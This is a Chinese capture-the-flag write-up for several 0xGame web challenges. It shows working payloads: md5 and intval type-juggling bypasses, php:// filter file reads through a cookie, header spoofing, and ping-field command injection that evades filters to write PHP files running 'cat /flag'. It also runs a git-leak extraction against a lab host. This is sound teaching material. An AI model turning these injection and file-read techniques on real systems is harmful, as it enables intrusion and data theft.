web–signin 查看源代码 看到有个js文件 在源代码最下面找个被注释的内容
进入/assets/index-33309f51.js.map 下载了一个文件,用记事本打开 ctrl+f查找关键词,0xgame找到flag flag
1 0xGame {c788fa80-2184 -429 f-b410-48 cb8e2de0ff}
在main.js下也能找到flag
web–baby_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );if (isset ($_GET ['a' ]) && isset ($_GET ['b' ]) && isset ($_POST ['c' ]) && isset ($_COOKIE ['name' ])) { $a = $_GET ['a' ]; $b = $_GET ['b' ]; $c = $_POST ['c' ]; $name = $_COOKIE ['name' ]; if ($a != $b && md5 ($a ) == md5 ($b )) { if (!is_numeric ($c ) && $c != 1024 && intval ($c ) == 1024 ) { include ($name .'.php' ); } } }?>
1 if ($a != $b && md5 ($a ) == md5 ($b ))
用数组绕过即可
1 if (!is_numeric($c) && $c != 1024 && intval($c) == 1024 )
is_numeric有3种绕过方法,经过测试,数组绕过与%20%00都不可通过后面的intval 在1024后加入字母即可 intval为化整函数,使我们的payload加上个小数即可 include读取文件需要用到伪协议 cookie使用伪协议 payload:
1 2 3 4 5 6 GET: ?a[]=1 &b []=2 POST: c=1024.123 aCOOKIE: name = php:
1 PD9 waHAKCiRmbGFnID0 gJzB4 R2 FtZXs0 M2 JiM2 UyNC0 wODI0 LTQ4 Y2 ItOTVkMC1 jNDcxNTQwYzA5 NTN9 JzsKCj8 +
拿到的字符base64解码即可 flag
1 0xGame {43 bb3e24-0824 -48 cb-95 d0-c471540c0953}
web–hello http Error: The GET parameter query must be ctf payload:
Error: The POST form action must be getflag payload:
Error: Your are not admin payload:
Error: Only allow local IP 抓个包叭 payload:
1 2 X -forwarded-for: 127.0.0.1
Error: You are not using HarmonyOS Browser 😡 payload:
1 User -Agent: HarmonyOS Browser
Error: Only allow access from ys.mihoyo.com 😋 payload:
flag
1 0xGame {2 c1a10fb-921 e-4250 -820 f-5 ce36940b8b5}
web–ping 本题有前端拦截,需要burpsuite抓包127.0.0.1;ls
,;
被过滤了,;
可用%0a替代,本题用|
payload:
1 2 127.0.0.1 |ls //api.php index.html simple.css
payload:
没有回显,可能cat空格或php被禁了 先考虑空格被禁 用%20代替,还是没有 用tab%09代替 可以回显 api.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php function sanitize ($s ) { $s = str_replace (';' , '' , $s ); $s = str_replace (' ' , '' , $s ); $s = str_replace ('/' , '' , $s ); $s = str_replace ('flag' , '' , $s ); return $s ; }if (isset ($_GET ['source' ])) { highlight_file (__FILE__ ); die (); }if (!isset ($_POST ['ip' ])) { die ('No IP Address' ); }$ip = $_POST ['ip' ];$ip = sanitize ($ip );if (!preg_match ('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/' , $ip )) { die ('Invalid IP Address' ); }system ('ping -c 4 ' .$ip . ' 2>&1' );?>
果然;’ ‘/都被禁了 没有/就不能查看上级目录 但我们可以写文件 因;和flag被禁,我们用base64编码 system(‘ls’) payload:
1 ip =127.0.0.1 |echo%09 "PD9waHAgc3lzdGVtKCdscycpOw==" |base64%09 -d%09 >2 .php
system(‘ls /‘) payload:
1 2 ip=127.0 .0 .1 |echo% 09 "PD9waHAgc3lzdGVtKCdscyAvJyk7" |base64 % 09 -d% 09 >2. php
system(‘cat /flag’) payload:
1 2 ip=127.0 .0 .1 |echo% 09 "PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs=" |base64 % 09 -d% 09 >2. php
方法二 手动切换目录读取flag payload:
1 2 3 4 5 6 7 8 9 10 11 ip=127.0 .0 .1 % 0 acd% 09. .% 0 als ip=127.0 .0 .1 % 0 acd% 09. .% 0 acd% 09. .% 0 als ip=127.0 .0 .1 % 0 acd% 09. .% 0 acd% 09. .% 0 acd% 09. .% 0 als ip=127.0 .0 .1 % 0 acd% 09. .% 0 acd% 09. .% 0 acd% 09. .% 0 acat% 09 f*
web–ropo_leak Notice告诉我们:There is noting here. Using Git for version control 说明这是git泄露,这里用到一个工具Git_Extract:https://github.com/gakki429/Git_Extract 需要电脑有python2环境 因为我的电脑是python3,所以用liunx打开
1 python git_extract.py http:// 124.71 .184.68 :50013 /.git/
生成了一个新的文件 flag在posts/flag/index.html中
使用Git_hack搜不出flag